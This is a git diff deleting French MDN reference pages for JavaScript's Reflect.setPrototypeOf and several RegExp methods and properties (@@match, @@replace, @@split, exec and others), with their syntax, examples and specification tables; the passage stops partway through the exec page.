{{EmbedInteractiveExample("pages/js/reflect-setprototypeof.html")}}
- - - -

Syntaxe

- -
Reflect.setPrototypeOf(cible, prototype)
-
- -

Paramètres

- -
-
cible
-
L'objet cible dont on souhaite modifier le prototype.
-
prototype
-
Le nouveau prototype à appliquer à l'objet cible (ça peut être un objet ou {{jsxref("null")}}).
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen","",1)}} qui indique si le prototype a correctement été modifié.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}} ou si prototype n'est ni un objet ni {{jsxref("null")}}.

- -

Description

- -

La méthode Reflect.setPrototypeOf permet de modifier le prototype (qui est la valeur de la propriété interne [[Prototype]]) d'un objet donné.

- -

Exemples

- -

Utiliser Reflect.setPrototypeOf()

- -
Reflect.setPrototypeOf({}, Object.prototype); // true
-
-// On peut modifier le [[Prototype]] d'un objet
-// pour que celui-ci soit null.
-Reflect.setPrototypeOf({}, null); // true
-
-// La méthode renvoie false si la cible
-// n'est pas extensible.
-Reflect.setPrototypeOf(Object.freeze({}), null); // false
-
-// La méthode renvoie false si l'affectation
-// entraîne un cycle dans la chaîne de prototypes.
-var target = {};
-var proto = Object.create(target);
-Reflect.setPrototypeOf(target, proto); // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.setPrototypeOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Object.setPrototypeOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@match/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@match/index.html deleted file mode 100644 index 7adea1beff..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/@@match/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: 'RegExp.prototype[@@match]()' -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@match -tags: - - Expressions rationnelles - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@match ---- -
{{JSRef}}
- -

La méthode [@@match]() permet de récupérer les correspondances obtenues lorsqu'on teste une chaîne de caractères par rapport à une expression rationnelle (regexp).

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@match.html")}}
- - - -

Syntaxe

- -
regexp[Symbol.match](str)
- -

Paramètres

- -
-
str
-
La chaîne de caractères ({{jsxref("String")}}) sur laquelle on veut chercher des correspondances.
-
- -

Valeur de retour

- -

Un tableau ({{jsxref("Array")}}) qui contient les résultats des correspondances et les groupes capturés grâce aux parenthèse. S'il n'y a aucune correspondance, ce sera {{jsxref("null")}}.

- -

Description

- -

Cette méthode est appelée de façon interne lorsqu'on utilise {{jsxref("String.prototype.match()")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :

- -
'abc'.match(/a/);
-
-/a/[Symbol.match]('abc');
- -

Cette méthode existe afin de permettre d'adapter le comportement de la recherche des correspondances pour les sous-classes de RegExp.

- -

Exemples

- -

Appel direct

- -

Cette méthode peut être utilisée comme {{jsxref("String.prototype.match()")}} mais avec un objet this différent et un ordre des paramètres également différent.

- -
var re = /[0-9]+/g;
-var str = '2016-01-02';
-var résultat = re[Symbol.match](str);
-console.log(résultat);  // ["2016", "01", "02"]
-
- -

Utilisation de @@match avec une sous-classe

- -

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode [@@match]() afin de modifier le comportement.

- -
class MaRegExp extends RegExp {
-  [Symbol.match](str) {
-    var résultat = RegExp.prototype[Symbol.match].call(this, str);
-    if (!résultat) return null;
-    return {
-      group(n) {
-        return résultat[n];
-      }
-    };
-  }
-}
-
-var re = new MaRegExp('([0-9]+)-([0-9]+)-([0-9]+)');
-var str = '2016-01-02';
-var résultat = str.match(re); // String.prototype.match appelle re[@@match].
-console.log(résultat.group(1)); // 2016
-console.log(résultat.group(2)); // 01
-console.log(résultat.group(3)); // 02
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.@@match")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.match()")}}
    • -
  • {{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@matchall/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@matchall/index.html deleted file mode 100644 index 82fcef5aa6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/@@matchall/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 'RegExp.prototype[@@matchAll]()' -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@matchAll -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll ---- -

{{JSRef}}

- -

La méthode [@@matchAll] renvoie l'ensemble des correspondances d'une expression rationnelle sur une chaîne de caractères.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@matchall.html")}}
- - - -

Syntaxe

- -
regexp[Symbol.matchAll](str)
- -

Paramètres

- -
-
str
-
Une chaîne de caractères ({{jsxref("String")}}) dont on souhaite trouver les correspondances.
-
- -

Valeur de retour

- -

Un itérateur.

- -

Description

- -

Cette méthode est appelée, en interne, par le moteur JavaScript, pendant l'exécution {{jsxref("String.prototype.matchAll()")}}. Les deux lignes qui suivent renverront donc le même résultat.

- -
'abc'.matchAll(/a/);
-
-/a/[Symbol.matchAll]('abc');
- -

Cette méthode existe afin de personnaliser le comportement des correspondances pour les sous-classes de RegExp.

- -

Exemples

- -

Appel direct

- -

Cette méthode peut être utilisée de façon semblable à {{jsxref("String.prototype.matchAll()")}} mais l'objet this et l'ordre des arguments seront différents.

- -
var re = /[0-9]+/g;
-var str = '2016-01-02';
-var resultat = re[Symbol.matchAll](str);
-
-console.log(Array.from(resultat, x => x[0]));
-// ["2016", "01", "02"]
-
- -

Utiliser @@matchAll dans une sous-classe

- -

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode [@@matchAll]() afin de modifier le comportement par défaut (par exemple pour renvoyer un tableau ({{jsxref("Array")}}) plutôt qu'un itérateur).

- -
class MaRegExp extends RegExp {
-  [Symbol.matchAll](str) {
-    var resultat = RegExp.prototype[Symbol.matchAll].call(this, str);
-    if (!resultat) {
-      return null;
-    } else {
-      return Array.from(resultat);
-    }
-  }
-}
-
-var re = new MaRegExp('([0-9]+)-([0-9]+)-([0-9]+)', 'g');
-var str = '2016-01-02|2019-03-07';
-var resultat = str.matchAll(re);
-console.log(resultat[0]); // [ "2016-01-02", "2016", "01", "02" ]
-console.log(resultat[1]); // [ "2019-03-07", "2019", "03", "07" ]
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-regexp-prototype-matchall', 'RegExp.prototype[@@matchAll]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.@@matchAll")}}

- -

Voir aussi

- -
    -
  • {{JSxRef("String.prototype.matchAll()")}}
    • -
  • {{JSxRef("Symbol.matchAll")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@replace/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@replace/index.html deleted file mode 100644 index 8d2f44115e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/@@replace/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: 'RegExp.prototype[@@replace]()' -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@replace -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@replace ---- -
{{JSRef}}
- -

La méthode [@@replace]() remplace toutes ou certaines correspondances d'un motif this dans une chaîne de caractère avec un outil de remplacement. La valeur renvoyée est la nouvelle chaîne ainsi créée. Cet outil de remplacement peut être une chaîne de caractère ou une fonction appelée pour chacune des correspondances.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@replace.html")}}
- - - -

Syntaxe

- -
regexp[Symbol.replace](str, newSubStr|function)
- -

Paramètres

- -
-
str
-
Une chaîne de caractères ({{jsxref("String")}}) pour laquelle on souhaite effectuer des remplacement.
-
newSubStr (replacement)
-
La chaîne de caractères qui remplace les correspondances trouvées. On peut effectuer le remplacement sur un nombre donné de correspondances (cf. la section {{jsxref("String.prototype.replace", "Utiliser une chaîne de caractères comme paramètre", "#Utiliser_une_chaîne_de_caractère_comme_paramètre", 1)}} de la page {{jsxref("String.prototype.replace()")}}).
-
function (replacement)
-
Une fonction qui est appelée pour créer la sous-chaîne de remplacement. Les arguments fournis à cette fonction sont décrits dans la section {{jsxref("String.prototype.replace", "Utiliser une chaîne de caractères comme paramètre", "#Utiliser_une_chaîne_de_caractère_comme_paramètre", 1)}} de la page {{jsxref("String.prototype.replace()")}}.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères pour laquelle les correspondances (toutes ou une partie) ont été remplacées.

- -

Description

- -

Cette méthode est appelée de façon interne par la méthode {{jsxref("String.prototype.replace()")}} lorsque l'arugment pattern argument est un objet {{jsxref("RegExp")}}. Les deux lignes de code qui suivent sont équivalentes et la seconde est la version interne de la première :

- -
'abc'.replace(/a/, 'A');
-
-/a/[Symbol.replace]('abc', 'A');
- -

Cette méthode existe afin de pouvoir personnaliser le comportement du remplacement pour les classes filles de RegExp.

- -

Si l'argument décrivant le motif n'est pas un objet {{jsxref("RegExp")}}, {{jsxref("String.prototype.replace()")}} n'appellera pas cette méthode et ne créera pas d'objet {{jsxref("RegExp")}}.

- -

Exemples

- -

Appel direct

- -

Cette méthode peut être utilisée comme {{jsxref("String.prototype.replace()")}}, aux différences près que l'objet this est différent et que l'ordre des arguments change :

- -
var re = /-/g;
-var str = '2016-01-01';
-var newstr = re[Symbol.replace](str, '.');
-console.log(newstr);  // 2016.01.01
-
- -

Utiliser @@replace dans une sous-classe

- -

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode [@@replace]() pour modifier le comportement.

- -
class MaRegExp extends RegExp {
-  constructor(pattern, flags, count) {
-    super(pattern, flags);
-    this.count = count;
-  }
-  [Symbol.replace](str, replacement) {
-    // Applique @@replace |count| fois.
-    var result = str;
-    for (var i = 0; i < this.count; i++) {
-      result = RegExp.prototype[Symbol.replace].call(this, result, replacement);
-    }
-    return result;
-  }
-}
-
-var re = new MaRegExp('\\d', '', 3);
-var str = '01234567';
-var newstr = str.replace(re, '#'); // String.prototype.replace appelle re[@@replace].
-console.log(newstr); // ###34567
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.@@replace")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.replace()")}}
    • -
  • {{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@search/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@search/index.html deleted file mode 100644 index f01c42c1d0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/@@search/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: 'RegExp.prototype[@@search]()' -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@search -tags: - - Expressions rationnelles - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@search ---- -
{{JSRef}}
- -

La méthode [@@search]() recherche une correspondance entre une expression rationnelle décrite par this et une chaîne de caractères donnée.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@search.html")}}
- - - -

Syntaxe

- -
regexp[Symbol.search](str)
- -

Paramètres

- -
-
str
-
Une chaîne de caractères ({{jsxref("String")}}) sur laquelle on veut rechercher une correspondance.
-
- -

Valeur de retour

- -
-
entier
-
Si la recherche réussit, [@@search]() renvoie la position de la première correspondance de l'expression rationnelle au sein de la chaîne, sinon elle renvoie -1.
-
- -

Description

- -

Cette méthode est appelée en interne lors de l'utilisation de {{jsxref("String.prototype.search()")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :

- -
'abc'.search(/a/);
-
-/a/[Symbol.search]('abc');
- -

Cette méthode existe afin de pouvoir adapter le comportement de la recherche pour les sous-classes de RegExp.

- -

Exemples

- -

Appel direct

- -

Cette méthode peut être utilisée comme {{jsxref("String.prototype.search()")}}, elle utilise simplement un objet this différent et un ordre de paramètres différent :

- -
var re = /-/g;
-var str = '2016-01-02';
-var résultat = re[Symbol.search](str);
-console.log(résultat);  // 4
-
- -

Utiliser @@search avec une sous-classe

- -

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger [@@search]() afin de modifier le comportement obtenu :

- -
class MaRegExp extends RegExp {
-  constructor(str) {
-    super(str)
-    this.pattern = str;
-  }
-  [Symbol.search](str) {
-    return str.indexOf(this.pattern);
-  }
-}
-
-var re = new MaRegExp('a+b');
-var str = 'ab a+b';
-var résultat = str.search(re); // String.prototype.search appelle re[@@search].
-console.log(résultat); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.@@search")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.search()")}}
    • -
  • {{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@species/index.html deleted file mode 100644 index 00f4bbb507..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/@@species/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'get RegExp[@@species]' -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@species -tags: - - Expressions rationnelles - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@species ---- -
{{JSRef}}
- -

La propriété accesseur RegExp[@@species] renvoie le constructeur RegExp.

- -
{{EmbedInteractiveExample("pages/js/regexp-getregexp-@@species.html")}}
- - - -

Syntaxe

- -
RegExp[Symbol.species]
-
- -

Description

- -

L'accesseur species renvoie le constructeur par défaut pour les objets RegExp. Les constructeurs des sous-classes peuvent surcharger ce symbole afin de modifier l'affectation du constructeur.

- -

Exemples

- -

La propriété species renvoie le constructeur par défaut, dans le cas des objets RegExp, c'est le constructeur RegExp :

- -
RegExp[Symbol.species]; // function RegExp()
- -

Pour les objets dérivés (par exemple, une classe MaRegExp), la valeur de species sera le constructeur MaRegExp. Il est possible de surcharger ce comportement afin de renvoyer le constructeur parent RegExp :

- -
class MaRegExp extends RegExp {
-  // On surcharge species pour renvoyer
-  // le constructeur parent RegExp
-  static get [Symbol.species]() { return RegExp; }
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.@@species")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp")}}
    • -
  • {{jsxref("Symbol.species")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/@@split/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/@@split/index.html deleted file mode 100644 index 0581e2a64d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/@@split/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: 'RegExp.prototype[@@split]()' -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@split -tags: - - Expressions rationnelles - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split ---- -
{{JSRef}}
- -

La méthode [@@split]() permet de découper une chaîne de caractères ({{jsxref("String")}}) en un tableau de sous-chaînes.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@split.html")}}
- - - -

Syntaxe

- -
regexp[Symbol.split](str[, limite])
- -

Paramètres

- -
-
str
-
La chaîne de caractères qu'on souhaite découper.
-
limite
-
-

Paramètre optionnel. Un entier indiquant le nombre maximal de sous-chaînes à trouver. La méthode [@@split]() découpe la chaîne pour chaque correspondance de l'expression rationnelle this jusqu'à ce que le nombre d'éléments obtenus atteigne cette limite ou que la chaîne n'ait plus de correspondances.

-
-
- -

Valeur de retour

- -

Un tableau ({{jsxref("Array")}}) dont les éléments sont les sous-chaînes de caractères issues de la découpe.

- -

Description

- -

Cette méthode est appelée de façon interne par la méthode {{jsxref("String.prototype.split()")}} lorsque l'argument str est un objet {{jsxref("RegExp")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :

- -
'a-b-c'.split(/-/);
-
-/-/[Symbol.split]('a-b-c');
- -

Cette méthode existe afin de pouvoir adapter le fonctionnement de la découpe pour les sous-classes de RegExp.

- -

Si le séparateur n'est pas un objet {{jsxref("RegExp")}}, la méthode {{jsxref("String.prototype.split()")}} n'appellera pas cette méthode et ne créera pas d'objet {{jsxref("RegExp")}}.

- -

Exemples

- -

Appel direct

- -

Cette méthode peut être utilisée comme  {{jsxref("String.prototype.split()")}}, l'objet this est différent et l'ordre des arguments également.

- -
var re = /-/g;
-var str = '2016-01-02';
-var résultat = re[Symbol.split](str);
-console.log(résultat);  // ["2016", "01", "02"]
-
- -

Utiliser @@split avec une sous-classe

- -

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger  [@@split]() afin de modifier le comportement de la découpe :

- -
class MaRegExp extends RegExp {
-  [Symbol.split](str, limit) {
-    var résultat = RegExp.prototype[Symbol.split].call(this, str, limit);
-    return résultat.map(x => "(" + x + ")");
-  }
-}
-
-var re = new MaRegExp('-');
-var str = '2016-01-02';
-var résultat = str.split(re); // String.prototype.split appelle re[@@split].
-console.log(résultat); // ["(2016)", "(01)", "(02)"]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.@@split")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.split()")}}
    • -
  • {{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
    • -
  • {{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/compile/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/compile/index.html deleted file mode 100644 index 4ce0f1f857..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/compile/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: RegExp.prototype.compile() -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/compile -tags: - - Deprecated - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/compile ---- -
{{JSRef}} {{deprecated_header}}
- -

La méthode dépréciée compile() est utilisée afin de (re)compiler une expression rationnelle lors de l'exécution d'un script. Cette méthode effectue essentiellement les mêmes actions que le constructeur RegExp.

- -

Syntaxe

- -
regexObj.compile(motif, flags)
- -

Paramètres

- -
-
motif
-
Le texte de l'expression rationnelle.
-
flags
-
-

S'ils sont utilisés, les drapeaux (flags) peuvent être combinés avec les valeurs suivantes :

- -
-
g
-
correspondance globale
-
i
-
ignorer la casse
-
m
-
multiligne : on traite les caractères de début et de fin (^ et $) de façon à travailler sur plusieurs lignes (ils correspondent au début et à la fin de chaque ligne et non au début ou à la fin de la chaîne entière)
-
y
-
adhérence : ne recherche les correspondances qu'à partir de l'indice fourni par la propriété lastIndex de l'expression rationnelle dans la chaîne cible (la recherche n'est pas effectuée pour les indices suivants).
-
-
-
- -

Description

- -

La méthode compile est dépréciée. Pour obtenir le même effet, on utilisera le constructeur RegExp.

- -

Exemples

- -

Dans l'exemple qui suit, on voit comment réinitialiser le motif et les drapeaux d'une expression rationnelle grâce à  la méthode compile().

- -
var regexObj = new RegExp("toto", "gi");
-regexObj.compile("nouveau toto", "g");
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}{{Spec2('ES6')}}Définition initiale dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}{{Spec2('ESDraft')}}Définition initiale dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.compile")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/dotall/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/dotall/index.html deleted file mode 100644 index 37335fe2c0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/dotall/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: RegExp.prototype.dotAll -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/dotAll -tags: - - Draft - - JavaScript - - Propriété - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/dotAll ---- -

{{JSRef}}{{Draft}}

- -

La propriété dotAll indique si le marqueur "s" est utilisé pour l'expression rationnelle. dotAll est une propriété en lecture seule et qui renseigne à propos de l'expression rationnelle courante.

- -

{{JS_Property_Attributes(0, 0, 1)}}

- -

Description

- -

dotAll est un booléen qui vaut true si le marqueur "s" a été utilisé pour l'expression et false sinon. Le marqueur "s" indique que le caractère spécial point (".") doit également correspondre aux caractères de saut de ligne (et pour lesquels il ne correspondrait pas s'il n'était pas activé) :

- -
    -
  • U+000A LINE FEED (LF) ("\n")
    • -
  • U+000D CARRIAGE RETURN (CR) ("\r")
    • -
  • U+2028 LINE SEPARATOR
    • -
  • U+2029 PARAGRAPH SEPARATOR
    • -
- -

Cela signifie ainsi que le point peut correspondre à n'importe quel caractère du plan multilingue de base Unicode (ou Basic Multilingual Plane (BMP)). Si on souhaite également cibler les caractères des plans astraux, il faudra utiliser le marqueur "u" (unicode). En utilisant les deux marqueurs simultanément, on peut alors cibler n'importe quel caractère Unicode.

- -

Cette propriété est uniquement accessible en lecture et ne peut pas être modifiée.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.dotAll")}}

- -

Voir aussi

- -
    -
  • {{JSxRef("RegExp.lastIndex")}}
    • -
  • {{JSxRef("RegExp.prototype.global")}}
    • -
  • {{JSxRef("RegExp.prototype.ignoreCase")}}
    • -
  • {{JSxRef("RegExp.prototype.multiline")}}
    • -
  • {{JSxRef("RegExp.prototype.source")}}
    • -
  • {{JSxRef("RegExp.prototype.sticky")}}
    • -
  • {{JSxRef("RegExp.prototype.unicode")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/exec/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/exec/index.html deleted file mode 100644 index 6db78d71f3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/regexp/exec/index.html +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: RegExp.prototype.exec() -slug: Web/JavaScript/Reference/Objets_globaux/RegExp/exec -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec ---- -
{{JSRef}}
- -

La méthode exec() exécute la recherche d'une correspondance sur une chaîne de caractères donnée. Elle renvoie un tableau contenant les résultats ou {{jsxref("null")}}.

- -

Si on souhaite uniquement savoir s'il y a une correspondance, on utilisera la méthode {{jsxref("RegExp.prototype.test()")}} ou la méthode {{jsxref("String.prototype.search()")}}.

- -
{{EmbedInteractiveExample("pages/js/regexp-prototype-exec.html")}}
- - - -

Les objets représentant des expressions rationnelles gardent un état en mémoire lorsqu'ils utilisent les marqueurs {{jsxref("RegExp.global", "global")}} ou {{jsxref("RegExp.sticky", "sticky")}} et ils gardent notamment en mémoire {{jsxref("RegExp.lastIndex", "lastIndex")}} à partir de la correspondance précédemment trouvée. Ainsi, exec() peut être utilisée afin de parcourir plusieurs correspondances dans un texte (avec des groupes capturants) (contrairement à {{jsxref("String.prototype.match()")}}).

- -

Syntaxe

- -
regexObj.exec(chaîne)
- -

Paramètres

- -
-
chaîne
-
La chaîne de caractères dans laquelle on recherche la correspondance décrite par l'expression rationnelle.
-
- -

Valeur de retour

- -

S'il y a une correspondance, la méthode exec() renvoie un tableau (contenant des éléments et deux propriétés index et values, cf. ci-après) et met à jour les propriétés de l'objet représentant l'expression rationnelle (notamment {{jsxref("RegExp.lastIndex", "lastIndex")}}). Le tableau renvoyé contient le texte qui correspond dans le premier élément puis un élément pour chaque groupe capturé dans les parenthèses capturantes.

- -

S'il n'y a aucune correspondance, la méthode exec() renvoie {{jsxref("null")}} et la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} reçoit la valeur 0.

- -

Description

- -

Si on a l'exemple suivant :

- -
// On a une correspondance si on a "quick brown" suivi par "jumps", on ignore les caractères entre
-// On garde en mémoire "brown" et "jumps"
-// On ignore la casse
-var re = /quick\s(brown).+?(jumps)/ig;
-var result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog');
-
- -

Le tableau suivant montre l'état résultant suite à ce script :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ObjetPropriété/IndexDescriptionExemple
result[0]La chaîne complète des caractères qui correspondent."Quick Brown Fox Jumps"
[1], ...[n ]Les sous-chaînes correspondantes aux groupes capturants s'il y en a. Le nombre de groupes de parenthèses capturantes est illimité.result[1] === "Brown"
- result[2] === "Jumps"
indexL'indice (compté à partir de 0) de la correspondance dans la chaîne.4
inputLa chaîne de caractères utilisée en entrée."The Quick Brown Fox Jumps Over The Lazy Dog"
relastIndexL'indice à partir duquel chercher la prochaine correspondance. Lorsque le drapeau "g" est absent, cette propriété sera 0.25
ignoreCaseIndique si le drapeau "i" a été utilisé pour ignorer la casse.true
globalIndique si le drapeau "g" a été utilisé pour la correspondance globale.true
multilineIndique si le drapeau "m" a été utilisé pour chercher une correspondance sur plusieurs lignes.false
sourceLe texte du motif."quick\s(brown).+?(jumps)"
- -

Exemples

- -

Trouver des correspondances successives

- -

